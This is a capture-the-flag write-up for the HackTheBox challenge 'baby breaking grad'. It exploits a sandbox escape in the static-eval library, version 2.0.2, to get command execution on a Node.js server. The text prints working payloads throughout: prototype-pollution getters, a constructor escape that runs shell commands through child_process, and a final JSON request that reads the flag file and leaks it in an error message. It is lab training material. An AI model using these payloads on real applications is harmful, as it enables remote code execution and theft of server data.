Baby breaking grad

1 March 2021

This write-up describes the challenge "baby breaking grad", part of the easy track OWASP Top 10 of the HackTheBox platform.

First impressions

The first info we are given is an IP address leading to a website. The site is named "inside starship enterprise". The website contains two radio buttons "Kenny Baker" and "Jack Purvis", we can chose only one name between the two. When we click on the submit button "Did I pass?" we always get this answer (approximately):

NOOOOooooPE

When we click on the submit button, a POST request is sent to /api/calculate with the following body:

request
{
  "name": "Kenny Baker"
}

The response is also a JSON:

response
{
  "pass": "n00o000ooo0pe"
}

Getting a lead

This challenge is akin to a white box penetration test since we have the source code of the website we are attacking. The website offers only one API endpoint, the one we used earlier, and its logic is pretty simple:

  1. If the name contains either "Baker" or "Purvis", the code returns a variant of "noooope".
  2. Otherwise, the code expects the body of the POST request to have an attribute formula that it will parse and execute to determine if the student passed the test.
index.js
    // If formula isn't specified, a default one is provided
    let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';

    // If the student name doesn't contain "Baker" or "Purvis", we compute the formula
    if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula)) {
        return res.send({
            'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
        });
    }

The code uses a helper library StudentHelper.js that contains the core logic. This file contains the method hasPassed that parses and computes the formula. What's interesting is the use of evaluate to parse the formula. This function is known to allow code injection and could let us execute our on code on the server:

StudentHelper.js
// Use to run the string in the formula as if it were javascript code
const evaluate = require('static-eval');
// Used to parse the forumla
const parse = require('esprima').parse;

module.exports = {
    isDumb(name){
        return (name.includes('Baker') || name.includes('Purvis'));
    },

    hasPassed({ exam, paper, assignment }, formula) {
        let ast = parse(formula).body[0].expression;
        // Code injection right there
        let weight = evaluate(ast, { exam, paper, assignment });

        return parseFloat(weight) >= parseFloat(10.5);
    }
};

Passing the exam

Let's take a look at the default formula:

    let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';

It expects three variables assignment, exam, and paper. These should be included in the POST request.

Try it, send a JSON with {"name":"none","exam":200,"paper":200,"assignment":200} to pass the exam!

If we wanted to pass the exam, we could change the formula so that it is equal to assignment + exam + paper and provide values so that the sum is greater than 10.5. The following JSON will make you pass the exam:

{
  "name":"none",
  "exam":5,
  "paper":5,
  "assignment":1,
  "formula":"[assignment + exam + paper]"
}

Our entrypoint will be the formula attribute to inject our own code, but what will we inject?

Battle plan

Our goal is to read the contents of the file flag. Sure, we can probably read this file, but how will we extract or display the data? The logic in index.js has made it clear that we have no control over the data returned in the response. So we have two options at our disposal to extract the data:

  1. Send the data to a server we own.
  2. Create a file on the server that we can access (a static file for instance).

We'll go with option 2 in this write-up, but feel free to try option 1 if it's possible.

Don't own a server ? Use Request bin to observe the requests sent from the code injection.

Test environment

To craft the formula that will write a file, we have to set up a nodejs project first. We can do that with npm init in a new directory esprima-test. Then we install the dependencies with the same versions found in the source code:

npm install --save esprima@
npm install --save static-eval@2.0.2

We create our own file index.js to parse some dummy javascript code and evaluate it the same way the original application does :

index.js
const parse = require('esprima').parse
const evaluate = require('static-eval')

const program = '3*4'
const ast = parse(program).body[0].expression
let result = evaluate(ast)
console.log(result)

We now have everything set up to try and exploit the server code. The problem is, trying a simple exploit like the one below won't work.

const { exec } = require('child_process')
(exec("ls -la") ()=>{})

The reason why this code won't work is because static-eval provides some kind of sandbox to avoid arbitrary code execution. That being said, there have been vulnerabilities found in the library before:

Unfortunately for us, the version of the library (2.0.2) used in the target has fixed these issues. But what about new vulnerabilities since then?

OWASP TOP 10 - A9 : using components with known vulnerabilities

Let's take a look at library's Github repository. We start by selecting a tag with a version greater than 2.0.2 and we display the commit messages, looking for security patches. Here is the list of commits for the tag v2.0.3, from the most recent, to the least recent:

CommitMessageComment
12.0.3probably just a commit to release this version
2Merge pull request #27 from browserify/prevent-constructor-accessthat could be interesting...
3plan fix
4disable package-lock.json
5add runtime-only test case
6Bail on null properties (eg.initialized arguments)this might be a security fix
7disallow accessing __proto__ or constructorthis is most certainly a security fix
8etc...

The most promising commit is the #7, the commit message states:

Plugs another hole in the not-quite-sandbox. We'll never be 100% airtight but this is low hanging fruit that doesn't impact any legitimate use case.

So this commit is definitely dealing with a security vulnerability, and this is our lucky day, the developer even included some test data in test/eval.js!! So we just have to replicate his code and see if it works for us.

Prototype pollution

After studying the test data, the best I could come up with is this the following test code that manages to display the environment variables:

const parse = require('esprima').parse
const evaluate = require('static-eval')

// Prototype pollution of variable polluted
// when accessing the variable value we call its getter
const program =  "`${({})['__proto__']['__defineGetter__']('polluted', function(){ return `${console.log(process.env)}`; })}`"
const ast = parse(program).body[0].expression
let result = evaluate(ast)

// We just need to trigger the getter function
// which displays the value of process.env
polluted

Unfortunately I didn't manage to write to a file. The following code produces a RangeError: Maximum call stack size exceeded.

const program =  "`${({})['__proto__']['__defineGetter__']('polluted', function(){ return `${console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())}` })}`"

Failure is the daily life of a pentester... So I just have to try something else.

Constructor

I tried commit #2 which seemed to be related to a security fix. The commit provides a test code showing how to exploit the vulnerability to display the environment variables:

test('constructor at runtime only', function(t) {
    t.plan(2)
    var src = '(function myTag(y){return ""[!y?"__proto__":"constructor"][y]})("constructor")("console.log(process.env)")()'
    var ast = parse(src).body[0].expression;
    var res = evaluate(ast);
    t.equal(res, undefined);
});

I built on this example to produce an exploit capable of executing a shell command:

const parse = require('esprima').parse
const evaluate = require('static-eval')

// Executes ls
const program = '(function myTag(y){return ""[!y?"__proto__":"constructor"][y]})("constructor")("console.log(global.process.mainModule.constructor._load(\'child_process\').execSync(\'ls\').toString())")()'
const ast = parse(program).body[0].expression
let result = evaluate(ast)

And finally I tried to exploit this vulnerability to produce a file on the server with echo test > static/test.txt. I used the following payload:

{
  "name":"whatevs",
  "formula":  "(function(){ return `${eval(\"global.process.mainModule.constructor._load('child_process').execSync('echo test > static/test.txt')\")}` })()"
}

Unfortunately this attempt failed as well with a "Permission denied". Here is the full response below:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: echo test &gt; static/test.txt
<br>/bin/sh: 1: cannot create static/test.txt: Permission denied
<br>
<br> &nbsp; &nbsp;at checkExecSyncError (child_process.js:630:11)
<br> &nbsp; &nbsp;at Object.execSync (child_process.js:666:15)
<br> &nbsp; &nbsp;at eval (eval at &lt;anonymous&gt; (eval at walk (/app/node_modules/static-eval/index.js:153:20)), &lt;anonymous&gt;:1:62)
<br> &nbsp; &nbsp;at eval (eval at walk (/app/node_modules/static-eval/index.js:153:20), &lt;anonymous&gt;:2:16)
<br> &nbsp; &nbsp;at walk (/app/node_modules/static-eval/index.js:96:27)
<br> &nbsp; &nbsp;at module.exports (/app/node_modules/static-eval/index.js:175:7)
<br> &nbsp; &nbsp;at Object.hasPassed (/app/helpers/StudentHelper.js:11:22)
<br> &nbsp; &nbsp;at /app/routes/index.js:22:62
<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:137:13)</pre>
</body>
</html>

Final exploit

At this point I could try to exfiltrate the data to a server I own. That said, the second failure made me realize that I actually have a way to display data through the errors!

Here is an example showing how to display the environment variables in an error message:

const parse = require('esprima').parse
const evaluate = require('static-eval')

// Throws a new error displaying process.env
const program = "(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(JSON.stringify(process.env))')()"
const ast = parse(program).body[0].expression
let result = evaluate(ast)

The final payload is (the file might not be named flag):

{
  "name":"whatevs",
  "formula": "(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mainModule.constructor._load(\"child_process\").execSync(\"cat flag\"))')()"
}

Resources